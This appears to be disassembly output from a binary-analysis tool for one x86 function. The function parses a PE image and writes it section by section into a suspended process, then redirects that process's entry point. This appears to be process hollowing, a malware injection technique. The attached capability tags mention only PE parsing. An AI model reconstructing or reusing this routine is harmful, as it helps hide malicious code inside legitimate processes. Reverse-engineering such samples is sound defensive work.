Function at 0x4041a8
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x37c
mov ebx, dword [esp + 0x394]
lea esi, [esp + 0x31c]
mov ecx, 0x11
xor eax, eax
mov edi, esi
rep stosd dword es:[edi], eax
mov dword [0x40b02c], ebx
cmp word [ebx], 0x5a4d
jne 0x404492
mov eax, dword [ebx + 0x3c]
add eax, ebx
mov dword [0x40b030], eax
cmp dword [eax], 0x4550
jne 0x404492
mov edi, dword [0x408034]
mov dword [esp + 0x50], 0x10007
mov dword [esp + 0x31c], 0x44
mov eax, dword [0x408030]
mov dword [esp], eax
call fcn.004050e8
push ecx
mov dword [esp + 4], edi
mov dword [esp], eax
call fcn.004050f0
push edx
push edx
mov dword [esp + 0x4c], eax
mov edi, dword [0x408048]
mov eax, dword [0x408038]
mov dword [esp], eax
call fcn.004050e8
push ebp
mov dword [esp + 4], edi
mov dword [esp], eax
call fcn.004050f0
push edi
push edi
mov dword [esp + 0x48], eax
mov edi, dword [0x40802c]
mov eax, dword [0x408030]
mov dword [esp], eax
call fcn.004050e8
push ecx
mov dword [esp + 4], edi
mov dword [esp], eax
call fcn.004050f0
push edx
push edx
mov dword [esp + 0x44], eax
mov edi, dword [0x408040]
mov eax, dword [0x408038]
mov dword [esp], eax
call fcn.004050e8
push ebp
mov dword [esp + 4], edi
mov dword [esp], eax
call fcn.004050f0
push ecx
push ecx
mov edi, eax
mov ebp, dword [0x40803c]
mov eax, dword [0x408030]
mov dword [esp], eax
call fcn.004050e8
push edx
mov dword [esp + 4], ebp
mov dword [esp], eax
call fcn.004050f0
push ecx
push ecx
mov dword [esp + 0x40], eax
mov ebp, dword [0x408028]
mov eax, dword [0x408038]
mov dword [esp], eax
call fcn.004050e8
push edx
mov dword [esp + 4], ebp
mov dword [esp], eax
call fcn.004050f0
push ecx
push ecx
mov dword [esp + 0x3c], eax
mov ebp, dword [0x408044]
mov eax, dword [0x408030]
mov dword [esp], eax
call fcn.004050e8
push edx
mov dword [esp + 4], ebp
mov dword [esp], eax
call fcn.004050f0
push ecx
push ecx
mov ebp, eax
lea eax, [esp + 0x360]
mov dword [esp + 0x24], eax
mov dword [esp + 0x20], esi
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov eax, dword [esp + 0x390]
mov dword [esp + 4], eax
mov dword [esp], 0
call dword [esp + 0x4c]
sub esp, 0x28
mov eax, dword [0x40b030]
mov eax, dword [eax + 0x34]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x360]
mov dword [esp], eax
call dword [esp + 0x48]
push edx
push edx
mov eax, dword [0x40b030]
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x3000
mov edx, dword [eax + 0x50]
mov dword [esp + 8], edx
mov eax, dword [eax + 0x34]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x360]
mov dword [esp], eax
call dword [esp + 0x44]
sub esp, 0x14
mov eax, dword [0x40b030]
mov dword [esp + 0x10], 0
mov edx, dword [eax + 0x54]
mov dword [esp + 0xc], edx
mov dword [esp + 8], ebx
mov eax, dword [eax + 0x34]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x360]
mov dword [esp], eax
call edi
sub esp, 0x14
xor esi, esi
mov dword [esp + 0x44], edi
jmp 0x404438
imul eax, esi, 0x28
mov ecx, dword [0x40b02c]
mov edi, dword [ecx + 0x3c]
lea ecx, [ebx + edi]
lea eax, [ecx + eax + 0xf8]
mov dword [0x40b038], eax
mov dword [esp + 0x10], 0
mov ecx, dword [eax + 0x10]
mov dword [esp + 0xc], ecx
mov ecx, dword [eax + 0x14]
add ecx, ebx
mov dword [esp + 8], ecx
mov eax, dword [eax + 0xc]
add eax, dword [edx + 0x34]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x360]
mov dword [esp], eax
call dword [esp + 0x44]
sub esp, 0x14
inc esi
mov edx, dword [0x40b030]
movzx eax, word [edx + 6]
cmp esi, eax
jl 0x4043e9
lea ebx, [esp + 0x50]
mov dword [esp + 4], ebx
mov eax, dword [esp + 0x364]
mov dword [esp], eax
call dword [esp + 0x40]
push eax
push eax
mov edx, dword [0x40b030]
mov eax, dword [edx + 0x28]
add eax, dword [edx + 0x34]
mov dword [esp + 0x100], eax
mov dword [esp + 4], ebx
mov eax, dword [esp + 0x364]
mov dword [esp], eax
call dword [esp + 0x3c]
push edi
push edi
mov eax, dword [esp + 0x364]
mov dword [esp], eax
call ebp
push esi
add esp, 0x37c
pop ebx
pop esi
pop edi
pop ebp
ret